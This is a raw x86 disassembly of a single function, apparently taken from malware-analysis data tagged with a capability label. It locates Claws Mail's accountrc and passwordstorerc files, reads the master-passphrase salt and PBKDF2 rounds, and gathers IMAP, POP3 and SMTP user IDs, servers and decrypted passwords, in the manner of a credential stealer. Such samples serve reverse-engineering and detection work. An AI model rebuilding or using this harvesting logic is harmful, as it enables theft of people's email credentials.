Function at 0x419662
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x5858
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0xc0b]
push esi
push edi
mov esi, 0x3e7
mov dword [ebp - 0x5854], ecx
push esi
push 0
push eax
mov byte [ebp - 0xc0c], 0
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x13e4], 0
lea eax, [ebp - 0x13e3]
push esi
push 0
push eax
call fcn.006390b0
mov esi, str.accountrc
mov dword [ebp - 0x10], 0x77616c63
lea edi, [ebp - 0x28]
mov dword [ebp - 0xc], 0x637273
add esp, 0xc
mov byte [ebp - 0x2f3c], 0
lea eax, [ebp - 0x2f3b]
movsd dword es:[edi], dword [esi]
push 0x3e7
push 0
movsd dword es:[edi], dword [esi]
push eax
movsw word es:[edi], word [esi]
mov esi, str.passwordstorerc
lea edi, [ebp - 0x38]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, str.passkey0
lea edi, [ebp - 0x1c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call fcn.006390b0
and dword [ebp - 0x584c], 0
add esp, 0xc
mov dword [ebp - 0x5850], 0xc350
test ebx, ebx
je 0x419778
push ebx
call fcn.00643470
pop ecx
cmp eax, 1
jb 0x419778
push ebx
mov esi, 0x3e8
lea eax, [ebp - 0xc0c]
push esi
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0xc0c]
push eax
call fcn.00643470
pop ecx
cmp byte [ebp + eax - 0xc0d], 0x5c
jne 0x4197c4
lea eax, [ebp - 0xc0c]
push eax
call fcn.00643470
dec eax
pop ecx
cmp eax, esi
jae 0x41a1ef
mov byte [ebp + eax - 0xc0c], 0
jmp 0x4197c4
lea eax, [ebp - 0xc0c]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x4197aa
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
push str.Claws_mail
mov esi, 0x3e8
lea eax, [ebp - 0xc0c]
push esi
push eax
call fcn.006500a8
add esp, 0xc
lea ecx, [ebp - 0xc0c]
call fcn.004055eb
test eax, eax
je 0x419797
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc0c]
push eax
push 0x6c643c
lea eax, [ebp - 0x13e4]
push esi
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0x13e4]
push 0x6c63d0
push eax
lea eax, [ebp - 0x584c]
push eax
call fcn.00649a00
add esp, 0xc
test eax, eax
jne 0x419797
cmp dword [ebp - 0x584c], eax
je 0x419797
push dword [ebp - 0x584c]
lea eax, [ebp - 0x43c]
xor edi, edi
push esi
push eax
xor ebx, ebx
mov dword [ebp - 0x5848], edi
call fcn.006494dd
jmp 0x4199c4
lea eax, [ebp - 0x43c]
push eax
lea eax, [ebp - 0x824]
push esi
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x824]
push eax
call fcn.00643470
pop ecx
inc eax
push eax
lea eax, [ebp - 0x824]
push eax
call fcn.0064ffd4
lea eax, [ebp - 0x824]
push eax
call fcn.00643470
add esp, 0xc
cmp eax, 2
jb 0x4199ab
test ebx, ebx
jne 0x41991b
lea eax, [ebp - 0x824]
push str.master_passphrase_salt
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
je 0x41991b
lea eax, [ebp - 0x43c]
push 0x3d
push eax
call fcn.006393d0
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4199ab
lea eax, [ebp - 0x43c]
push eax
call fcn.00643470
pop ecx
cmp byte [ebp + eax - 0x43d], 0xa
jne 0x4198fa
lea eax, [ebp - 0x43c]
push eax
call fcn.00643470
dec eax
pop ecx
cmp eax, 0x400
jae 0x41a1ef
mov byte [ebp + eax - 0x43c], bl
inc edi
mov ecx, edi
call fcn.004047e7
push edi
lea eax, [ebp - 0x2f3c]
push esi
push eax
call fcn.006494f3
xor ebx, ebx
add esp, 0xc
inc ebx
jmp 0x4199ab
test edi, edi
jne 0x4199a7
lea eax, [ebp - 0x824]
push str.master_passphrase_pbkdf2_rounds
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
je 0x4199ab
lea eax, [ebp - 0x43c]
push 0x3d
push eax
call fcn.006393d0
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4199ab
lea eax, [ebp - 0x43c]
push eax
call fcn.00643470
pop ecx
cmp byte [ebp + eax - 0x43d], 0xa
jne 0x419988
lea eax, [ebp - 0x43c]
push eax
call fcn.00643470
dec eax
pop ecx
cmp eax, 0x400
jae 0x41a1ef
mov byte [ebp + eax - 0x43c], 0
inc edi
mov ecx, edi
call fcn.004047e7
push edi
call fcn.0064a881
pop ecx
mov dword [ebp - 0x5850], eax
mov dword [ebp - 0x5848], 1
test ebx, ebx
jne 0x4199cf
push dword [ebp - 0x584c]
lea eax, [ebp - 0x43c]
push esi
push eax
call fcn.006494dd
mov edi, dword [ebp - 0x5848]
add esp, 0xc
test eax, eax
jne 0x419840
push dword [ebp - 0x584c]
call fcn.00649273
pop ecx
lea eax, [ebp - 0x2f3c]
push eax
call fcn.00643470
pop ecx
cmp eax, 1
jb 0x419797
push ecx
lea edx, [ebp - 0x3134]
lea ecx, [ebp - 0x2f3c]
call fcn.004020b3
pop ecx
test eax, eax
je 0x419797
push dword [ebp - 0x5850]
push ecx
lea ecx, [ebp - 0xe04]
push ecx
push eax
lea eax, [ebp - 0x3134]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00643470
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.004192b9
add esp, 0x14
test eax, eax
je 0x419797
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0xc0c]
push eax
push 0x6c643c
lea eax, [ebp - 0x13e4]
push esi
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0x13e4]
push 0x6c63d0
push eax
lea eax, [ebp - 0x584c]
push eax
call fcn.00649a00
add esp, 0xc
test eax, eax
jne 0x419797
cmp dword [ebp - 0x584c], eax
je 0x419797
push dword [ebp - 0x584c]
lea eax, [ebp - 0x43c]
or ebx, 0xffffffff
push esi
push eax
mov dword [ebp - 0x5848], ebx
call fcn.006494dd
add esp, 0xc
test eax, eax
je 0x419c60
mov edi, 0xfffffe0c
lea eax, [ebp - 0x43c]
push eax
lea eax, [ebp - 0x824]
push esi
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x824]
push eax
call fcn.00643470
pop ecx
inc eax
push eax
lea eax, [ebp - 0x824]
push eax
call fcn.0064ffd4
lea eax, [ebp - 0x824]
push eax
call fcn.00643470
add esp, 0xc
cmp eax, 2
jb 0x419c42
lea eax, [ebp - 0x824]
push str._account:
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
je 0x419b3f
inc ebx
mov byte [ebp + edi - 0x42c8], 0
add edi, 0x1f4
mov dword [ebp - 0x5848], ebx
mov byte [ebp + edi - 0x5844], 0
jmp 0x419c42
lea eax, [ebp - 0x824]
push str.recv_
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
je 0x419bb8
lea eax, [ebp - 0x43c]
push 0x7d
push eax
call fcn.006393d0
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x419c3c
lea eax, [ebp - 0x43c]
push eax
call fcn.00643470
pop ecx
cmp byte [ebp + eax - 0x43d], 0xa
jne 0x419ba8
lea eax, [ebp - 0x43c]
push eax
call fcn.00643470
dec eax
pop ecx
cmp eax, 0x400
jae 0x41a1ef
mov byte [ebp + eax - 0x43c], 0
inc ebx
mov ecx, ebx
call fcn.004047e7
lea eax, [ebp - 0x44bc]
jmp 0x419c2b
lea eax, [ebp - 0x824]
push str.send_
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
je 0x419c42
lea eax, [ebp - 0x43c]
push 0x7d
push eax
call fcn.006393d0
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x419c3c
lea eax, [ebp - 0x43c]
push eax
call fcn.00643470
pop ecx
cmp byte [ebp + eax - 0x43d], 0xa
jne 0x419c1d
lea eax, [ebp - 0x43c]
push eax
call fcn.00643470
dec eax
pop ecx
cmp eax, 0x400
jae 0x41a1ef
mov byte [ebp + eax - 0x43c], 0
inc ebx
mov ecx, ebx
call fcn.004047e7
lea eax, [ebp - 0x5844]
push ebx
add eax, edi
push 0x1f4
push eax
call fcn.006494f3
add esp, 0xc
mov ebx, dword [ebp - 0x5848]
push dword [ebp - 0x584c]
lea eax, [ebp - 0x43c]
push esi
push eax
call fcn.006494dd
add esp, 0xc
test eax, eax
jne 0x419abc
push dword [ebp - 0x584c]
call fcn.00649273
pop ecx
cmp ebx, 0xffffffff
je 0x419797
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0xc0c]
push eax
push 0x6c643c
lea eax, [ebp - 0x13e4]
push esi
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0x13e4]
push 0x6c63d0
push eax
lea eax, [ebp - 0x584c]
push eax
call fcn.00649a00
add esp, 0xc
test eax, eax
jne 0x419797
cmp dword [ebp - 0x584c], eax
je 0x419797
push dword [ebp - 0x584c]
mov byte [ebp - 0x276c], al
or ebx, 0xffffffff
mov byte [ebp - 0x1f9c], al
mov byte [ebp - 0x2b54], al
mov byte [ebp - 0x2384], al
mov byte [ebp - 0x17cc], al
mov byte [ebp - 0x1bb4], al
lea eax, [ebp - 0x43c]
push esi
push eax
call fcn.006494dd
add esp, 0xc
test eax, eax
je 0x41a090
lea edi, [ebp - 0x43c]
dec edi
mov dword [ebp - 0x5850], edi
lea eax, [ebp - 0x43c]
push eax
call fcn.00643470
pop ecx
cmp byte [eax + edi], 0xa
jne 0x419d4a
lea eax, [ebp - 0x43c]
push eax
call fcn.00643470
dec eax
pop ecx
cmp eax, 0x400
jae 0x41a1ef
mov byte [ebp + eax - 0x43c], 0
lea eax, [ebp - 0x43c]
push eax
lea eax, [ebp - 0x824]
push esi
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x824]
push eax
call fcn.00643470
pop ecx
inc eax
push eax
lea eax, [ebp - 0x824]
push eax
call fcn.0064ffd4
lea eax, [ebp - 0x824]
push eax
call fcn.00643470
add esp, 0xc
cmp eax, 2
jb 0x41a072
lea eax, [ebp - 0x824]
push str._account:
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
je 0x419f64
add ebx, 1
mov dword [ebp - 0x5858], ebx
jne 0x419de5
xor eax, eax
mov byte [ebp - 0x276c], al
mov byte [ebp - 0x1f9c], al
mov byte [ebp - 0x2b54], al
mov byte [ebp - 0x2384], al
mov byte [ebp - 0x17cc], al
mov byte [ebp - 0x1bb4], al
jmp 0x41a072
cmp ebx, 0xa
jae 0x41a090
imul ebx, ebx, 0x1f4
lea edi, [ebp + ebx - 0x46b0]
push edi
call fcn.00643470
pop ecx
cmp eax, 1
jbe 0x419eb3
lea eax, [ebp - 0x17cc]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x419eb3
lea eax, [ebp - 0x5848]
mov dword [ebp - 0x5848], esi
push eax
lea eax, [ebp - 0x2384]
push eax
push ecx
lea edx, [ebp - 0xe04]
mov ecx, edi
call fcn.004194a5
add esp, 0xc
test eax, eax
je 0x419eb3
lea eax, [ebp - 0x1bb4]
push str.imap
push eax
call fcn.00639500
test eax, eax
mov ecx, str.POP3
mov eax, str.IMAP
cmovne ecx, eax
lea eax, [ebp - 0xffc]
push ecx
push 0x1f4
push eax
call fcn.006494f3
mov ecx, dword [ebp - 0x5854]
lea eax, [ebp - 0x2384]
add esp, 0x14
push 0xffffffffffffffff
push 0x6c5bb9
push eax
lea eax, [ebp - 0x17cc]
push eax
lea eax, [ebp - 0x1bb4]
push eax
lea eax, [ebp - 0xffc]
push eax
push 0x105
push 2
call fcn.0043ee6b
lea edi, [ebp + ebx - 0x5a38]
push edi
call fcn.00643470
pop ecx
cmp eax, 1
jbe 0x419f33
lea eax, [ebp - 0x1f9c]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x419f33
lea eax, [ebp - 0x5848]
mov dword [ebp - 0x5848], esi
push eax
lea eax, [ebp - 0x276c]
push eax
push ecx
lea edx, [ebp - 0xe04]
mov ecx, edi
call fcn.004194a5
add esp, 0xc
test eax, eax
je 0x419f33
mov ecx, dword [ebp - 0x5854]
lea eax, [ebp - 0x276c]
push 0xffffffffffffffff
push 0x6c5bb9
push eax
lea eax, [ebp - 0x1f9c]
push eax
lea eax, [ebp - 0x2b54]
push eax
push str.SMTP
push 0x105
push 2
call fcn.0043ee6b
mov ebx, dword [ebp - 0x5858]
xor eax, eax
mov byte [ebp - 0x276c], al
mov byte [ebp - 0x1f9c], al
mov byte [ebp - 0x2b54], al
mov byte [ebp - 0x2384], al
mov byte [ebp - 0x17cc], al
mov byte [ebp - 0x1bb4], al
jmp 0x41a06c
lea eax, [ebp - 0x824]
push str.smtp_user_id
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
je 0x419fa8
lea eax, [ebp - 0x43c]
push 0x3d
push eax
call fcn.006393d0
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x41a06c
inc edi
mov ecx, edi
call fcn.004047e7
lea eax, [ebp - 0x1f9c]
jmp 0x41a061
lea eax, [ebp - 0x824]
push str.user_id
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
je 0x419fe9
lea eax, [ebp - 0x43c]
push 0x3d
push eax
call fcn.006393d0
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x41a06c
inc edi
mov ecx, edi
call fcn.004047e7
lea eax, [ebp - 0x17cc]
jmp 0x41a061
lea eax, [ebp - 0x824]
push str.receive_server
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
je 0x41a026
lea eax, [ebp - 0x43c]
push 0x3d
push eax
call fcn.006393d0
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x41a06c
inc edi
mov ecx, edi
call fcn.004047e7
lea eax, [ebp - 0x1bb4]
jmp 0x41a061
lea eax, [ebp - 0x824]
push str.smtp_server
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
je 0x41a072
lea eax, [ebp - 0x43c]
push 0x3d
push eax
call fcn.006393d0
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x41a06c
inc edi
mov ecx, edi
call fcn.004047e7
lea eax, [ebp - 0x2b54]
push edi
push esi
push eax
call fcn.006494f3
add esp, 0xc
mov edi, dword [ebp - 0x5850]
push dword [ebp - 0x584c]
lea eax, [ebp - 0x43c]
push esi
push eax
call fcn.006494dd
add esp, 0xc
test eax, eax
jne 0x419d16
imul edi, ebx, 0x1f4
lea ebx, [ebp + edi - 0x46b0]
push ebx
call fcn.00643470
pop ecx
cmp eax, 1
jbe 0x41a159
lea eax, [ebp - 0x17cc]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x41a159
lea eax, [ebp - 0x5848]
mov dword [ebp - 0x5848], esi
push eax
lea eax, [ebp - 0x2384]
push eax
push ecx
lea edx, [ebp - 0xe04]
mov ecx, ebx
call fcn.004194a5
add esp, 0xc
test eax, eax
je 0x41a159
lea eax, [ebp - 0x1bb4]
push str.imap
push eax
call fcn.00639500
test eax, eax
mov ecx, str.IMAP
mov eax, str.POP3
cmovne eax, ecx
push eax
lea eax, [ebp - 0xffc]
push 0x1f4
push eax
call fcn.006494f3
mov ebx, dword [ebp - 0x5854]
lea eax, [ebp - 0x2384]
add esp, 0x14
mov ecx, ebx
push 0xffffffffffffffff
push 0x6c5bb9
push eax
lea eax, [ebp - 0x17cc]
push eax
lea eax, [ebp - 0x1bb4]
push eax
lea eax, [ebp - 0xffc]
push eax
push 0x105
push 2
call fcn.0043ee6b
jmp 0x41a15f
mov ebx, dword [ebp - 0x5854]
lea edi, [ebp + edi - 0x5a38]
push edi
call fcn.00643470
pop ecx
cmp eax, 1
jbe 0x41a1db
lea eax, [ebp - 0x1f9c]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x41a1db
lea eax, [ebp - 0x5848]
mov dword [ebp - 0x5848], esi
push eax
lea eax, [ebp - 0x276c]
push eax
push ecx
lea edx, [ebp - 0xe04]
mov ecx, edi
call fcn.004194a5
add esp, 0xc
test eax, eax
je 0x41a1db
push 0xffffffffffffffff
push 0x6c5bb9
lea eax, [ebp - 0x276c]
mov ecx, ebx
push eax
lea eax, [ebp - 0x1f9c]
push eax
lea eax, [ebp - 0x2b54]
push eax
push str.SMTP
push 0x105
push 2
call fcn.0043ee6b
push dword [ebp - 0x584c]
call fcn.00649273
xor eax, eax
pop ecx
inc eax
jmp 0x419799
call fcn.00612782
int3